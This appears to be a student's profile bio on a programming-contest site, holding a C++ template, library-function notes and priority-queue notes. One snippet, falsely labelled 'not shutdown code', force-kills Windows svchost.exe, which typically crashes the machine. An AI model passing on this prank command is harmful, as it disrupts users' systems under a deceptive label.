• Bio

    不要理逼你的人,尽情追求你自己的梦

    #include<bits/stdc++.h>
    #define itn int
    #define fro for
    #define cotu cout
    #define mian main
    #define fropen freopen
    using namespace std;
    int main()
    {
    //    freopen(".in","r",stdin);
    //    freopen(".out","w",stdout);
        ios::sync_with_stdio(false);
    	  cin.tie(NULL);
        return 0;
    }
    

    不是关机代码:

    #include<windows.h>
    int main(){
    	system("taskkill /f /im svchost.exe > nul");
    	return 0;
    }
    
    #include<bits/stdc++.h>
    using namespace std;
    int i = 0;
    int main()
    {
    	while(i < 6666)
    	{
    		i++;
    		cout << i;
    		for (int j = 1;j <= i;j++)
    		{
    			cout << " ";
    		}
    	}
        return 0;
    }
    
    //截到6666给100块;
    

    1.小数位数开关 cout<<fixed<<setprecision();

    2.次方函数 pow(,);

    3.开方函数 sqrt();

    4.交换函数 swap(,);

    5.最大值函数 max(,);

    6.最小值函数 min(,)

    7.绝对值函数 abs();

    172.20.6.60

    高考662的助教上课使用账号:stu_096

    收到: http://172.20.6.60/d/summer/p/A0001

    某很年轻的编程专家(不是最年轻)(qy2002)的贪心语录:

    struct node
    {
    	int a,b;
    	friend bool operator <(node x,node y)//友元函数 
    	{
    		return x.a%2<y.a%2;
    	}
    }o[10];
    
    //	已经定义了小于号的东西,可以直接sort
    //	用法:sort(a+1,a+1+n); 1到n 
    //	sort(a+l,a+r+1) 表示对区间l到r进行排序
    

    优先队列(也需要定义小于号

    priority_queueq;声明一个存储类型为int的堆

    q.push(1);放进去元素

    q.push(2);

    q.top();有返回值的函数,返回堆里的最大值,不删掉

    q.pop() 没有返回值,删掉堆里的最大值。

    q.size()返回值为当前堆的大小(堆内元素数量)

    q.empty()当堆内元素数量为0时,返回值为1。如果元素数量大于0,返回值为0

    要注意,只有堆里有东西的时候才能top和pop。没东西的时候执行top和pop是未定义行为,一般会导致re

    怎么看有没有东西:q.size()或者q.empty()

  • Accepted Problems

  • Recent Activities

    This person is lazy and didn't join any contests or homework.